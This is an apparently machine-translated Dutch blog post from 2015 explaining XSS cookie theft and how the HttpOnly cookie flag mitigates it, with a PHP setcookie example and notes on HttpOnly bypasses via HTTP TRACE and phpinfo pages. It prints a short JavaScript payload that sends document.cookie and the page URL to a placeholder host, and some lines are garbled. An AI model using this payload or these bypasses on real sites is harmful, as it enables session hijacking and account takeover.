Met de opkomst van www-diensten zijn steeds meer applicaties overgestapt op B/S-structuren, zodat een verscheidenheid aan webservices met slechts één browser toegankelijk is, maar dit leidt ook steeds meer tot steeds meer webbeveiligingsproblemen. www-dienst is afhankelijk van het Http-protocol, Http is een stateless protocol, dus om informatie tussen sessies door te geven, is het onvermijdelijk om cookies, sessies en andere technologieën te gebruiken om de status van de bezoeker aan te geven, en of het nu een cookie of een sessie is, dit wordt meestal geïmplementeerd met cookies (Sessie wordt eigenlijk gemarkeerd met een token in de cookie van de browser, De server verkrijgt deze token en controleert de legitimiteit en bindt de overeenkomstige status die op de server is opgeslagen aan de browser), zodat hij onvermijdelijk veilig op de cookie focust; zolang deze cookie wordt verkregen, kan de identiteit van anderen worden verkregen, wat een geweldige zaak is voor indringers, vooral wanneer de verkregen cookie toebehoort aan een hoogbevoorrechte persoon zoals een beheerder, is de schade nog groter. Onder de verschillende webbeveiligingsproblemen is de XSS-kwetsbaarheid bijzonder gevaarlijk.
Voor applicaties betekent dat, zodra er een XSS-kwetsbaarheid is, anderen willekeurige JS-scripts in je browser kunnen uitvoeren, en als de applicatie open source is of de functies openbaar zijn, kunnen anderen Ajax gebruiken om deze functies te gebruiken, maar het proces is vaak omslachtig, vooral als je direct iemands identiteit wilt verkrijgen voor casual browsen. Voor niet-open source applicaties, zoals de webachtergrond van sommige grote sites (een belangrijk kenmerk van web2.0 is een groot aantal interacties; gebruikers moeten vaak op de achtergrond met beheerders communiceren, zoals bugrapporten, informatieoverdracht, enzovoort), hoewel er cross-site scripting-kwetsbaarheden kunnen zijn door het bestaan van interactie, maar door het gebrek aan begrip van de achtergrond is het onmogelijk om perfecte ajax-code te construeren om te gebruiken, zelfs als je js kunt gebruiken om de achtergrondcode te verkrijgen en terug te sturen voor analyse, maar het proces is ook omslachtig en niet verborgen. Op dit moment is het zeer effectief om de xss-kwetsbaarheid te gebruiken om cookies of sessiekaping te verkrijgen, specifiek de authenticatie van de applicatie te analyseren, vervolgens bepaalde technieken te gebruiken, en zelfs permanent de identiteit van de andere partij te verkrijgen, zelfs als de andere partij het programma verlaat.
Dus hoe krijg je cookie- of sessie-kaping? In het documentobject in de browser wordt de cookie-informatie opgeslagen, en de cookie kan worden opgehaald met js; zolang je deze cookie krijgt, kun je de identiteit van iemand anders hebben. Een typische XSS-aanvalsinstructie is als volgt:
- xss exp:
- url=document.top.locatio去掉n.href;
- cookie=document.cookie;
- c=new Image();
- c.src=’<a target="_blank">http://www.xxx.net/c.php?c=</a>’+cookie+’&u=’+url;
Sommige applicaties passen browser-bindingstechnieken toe om dit probleem op te lossen, zoals het binden van cookies aan de user-agent van de browser, en beschouwen de cookie als ongeldig zodra deze is ontdekt. Deze methode is ineffectief gebleken, want wanneer de indringer het koekje steelt, moet hij tegelijkertijd de User-agent hebben verkregen. Er is ook een andere strikte methode die cookies bindt aan Remote-addr (in feite is het gekoppeld aan IP, maar sommige programma's hebben problemen met de methode om IP te verkrijgen, wat ook leidt tot spaarzaamheid), maar dit zorgt voor een zeer slechte gebruikerservaring; het veranderen van IP is gebruikelijk, zoals werk en thuis zijn 2 IP's, dus deze methode wordt vaak niet toegepast. Daarom zijn cookie-gebaseerde aanvallen tegenwoordig erg populair, en is het eenvoudig om de beheerdersstatus van de applicatie op sommige web 2.0-sites te verkrijgen.
Hoe houden we onze gevoelige cookies veilig? Door bovenstaande analyse worden algemene cookies verkregen van documentobjecten, en we hoeven alleen gevoelige cookies onzichtbaar te maken in het browserdocument. Gelukkig accepteren browsers nu meestal een parameter genaamd HttpOnly bij het instellen van cookies, net als andere parameters zoals domein; zodra deze HttpOnly is ingesteld, zie je de cookie niet meer in het documentobject van de browser, en wordt de browser op geen enkele manier beïnvloed tijdens het browsen, omdat de cookie in de browserheader wordt verzonden (inclusief ajax). Applicaties gebruiken deze gevoelige cookies over het algemeen niet in js, we gebruiken HttpOnly voor sommige gevoelige cookies, en we stellen bepaalde cookies die met js moeten worden gebruikt niet in de applicatie, wat de beveiliging van cookie-informatie en de applicatie waarborgt. Voor meer informatie over HttpOnly, zie http://msdn2.microsoft.com/en-us/library/ms533046.aspx.
De header voor het instellen van cookies in je browser is als volgt:
- Set-Cookie: =[; =]
- [; expires=][; domain=]
- [; path=][; secure][; HttpOnly]
Neem php als voorbeeld, ondersteuning voor HttpOnly is toegevoegd aan de Setcookie-functie in php 5.2, bijvoorbeeld:
setcookie("abc","test",NULL,NULL,NULL,NULL,NULL,NULL,TRUE);
Je kunt de abc-cookie instellen op Alleen HttpOnly, en het document zal niet zichtbaar zijn voor deze cookie. Omdat de setcookie-functie in wezen een header is, kun je de header ook gebruiken om HttpOnly in te stellen. Gebruik vervolgens document.cookie om te zien dat deze cookie niet langer beschikbaar is. We gebruiken deze methode om Sessionid te beschermen, zoals enkele authenticatiecookies voor authenticatie, zodat we ons geen zorgen hoeven te maken over het verkregen van de identiteit, wat van groot belang is voor sommige achtergrondprogramma's en webmail om de beveiliging te verbeteren. Wanneer we bovenstaande aanvalsmethode opnieuw gebruiken, zien we dat we geen gevoelige cookies meer kunnen verkrijgen die we als Alleen-Http hebben ingesteld.
Toch is ook te zien dat HttpOnly niet almachtig is; allereerst kan het het probleem van xss niet oplossen, kan het nog steeds geen weerstand bieden aan de aanvallen van sommige geduldige hackers, noch kan het indringers tegenhouden in ajax-inzendingen, en zelfs enkele xss-gebaseerde proxies zijn verschenen, maar het is wel mogelijk geweest om de drempel van aanvallen te verhogen, tenminste worden xss-aanvallen niet door elke script kid uitgevoerd, en andere aanvalsmethoden zijn te wijten aan enkele omgevings- en technische beperkingen. Het komt niet zo vaak voor als koekjesdiefstal.
HttpOnly kan ook enkele kwetsbaarheden exploiteren of Bypass configureren, het belangrijkste probleem is dat zolang je de cookie-header door de browser kunt laten versturen. Bijvoorbeeld, de vorige Http Trace-aanval kan de cookie in je header teruggeven, en deze aanval kan worden voltooid door ajax of flash te gebruiken, wat ook in ajax en flash is gepatcht. Een ander opvallend voorbeeld van mogelijke omzeiling op configuratie of applicatie is phpinfo; zoals je weet, toont phpinfo de http-header die door de browser wordt verzonden, inclusief de authenticatie-informatie die we beschermen, en deze pagina bestaat vaak op verschillende sites, zolang je ajax gebruikt om de phpinfo-pagina te krijgen, verwijder je het deel dat bij de headerheader hoort om de cookie te krijgen. Imperfecties in sommige toepassingen kunnen ook leiden tot header-lekken, die net zo goed kan worden aangevallen als een pagina die door basisverificatie wordt beschermd.
HttpOnly wordt beter ondersteund in IE 6 en hoger, wordt veel gebruikt in applicaties zoals Hotmail, en heeft relatief goede beveiligingsresultaten behaald.
|
Geplaatst op 03-06-2015 20:57:48
|
|
|
